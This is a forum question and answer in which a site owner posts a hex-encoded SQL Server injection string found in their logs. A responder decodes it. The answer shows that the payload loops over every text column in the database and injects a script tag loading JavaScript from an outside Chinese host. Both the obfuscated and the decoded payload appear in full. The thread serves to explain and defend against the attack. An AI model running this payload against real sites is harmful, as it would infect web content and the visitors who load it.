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Attempted SQL injection attack – what are they trying to do?

I have seen this SQL injection attempt on my site many times in the last few months.

';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S); 

After going through my code, I’m sure I’m protected because I query against an in-memory dataset rather than the database itself. However, even though I’m sure I’m protected, I don’t fully understand what’s going on with this attack attempt and would like to figure it out so I can avoid writing code in the future that may be vulnerable to it.

Can anyone explain to me what these hackers are attempting to do with this code?

Thanks.

-This code is getting appended to the query string as well as getting sent as post data.

Answer 1

Note: my first explanation was incorrect because I didn’t actually read through the whole thing…

here’s what that translates to. It searches your database for text or varchar columns (b.xtype in 99,35,231,167) and then injects a javascript file into all text columns in your database. A bit more malicious than I first thought.

DECLARE      @T varchar(255),     @C varchar(4000)   DECLARE Table_Cursor CURSOR FOR      select a.name,b.name      from sysobjects a,syscolumns b      where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)  OPEN Table_Cursor  FETCH NEXT  FROM  Table_Cursor  INTO @T,@C   WHILE(@@FETCH_STATUS=0)  BEGIN exec('update ['+@T+'] set ['+@C+']='''>     </title>     <script src='http://www2.s800qn.cn/csrss/w.js'></script>       <!--''+['+@C+'] where '+@C+' not like ''%'>     </title>     <script src='http://www2.s800qn.cn/csrss/w.js'></script><!--' '') FETCH NEXT FROM  Table_Cursor INTO @T,@C  END   CLOSE Table_Cursor  DEALLOCATE Table_Cursor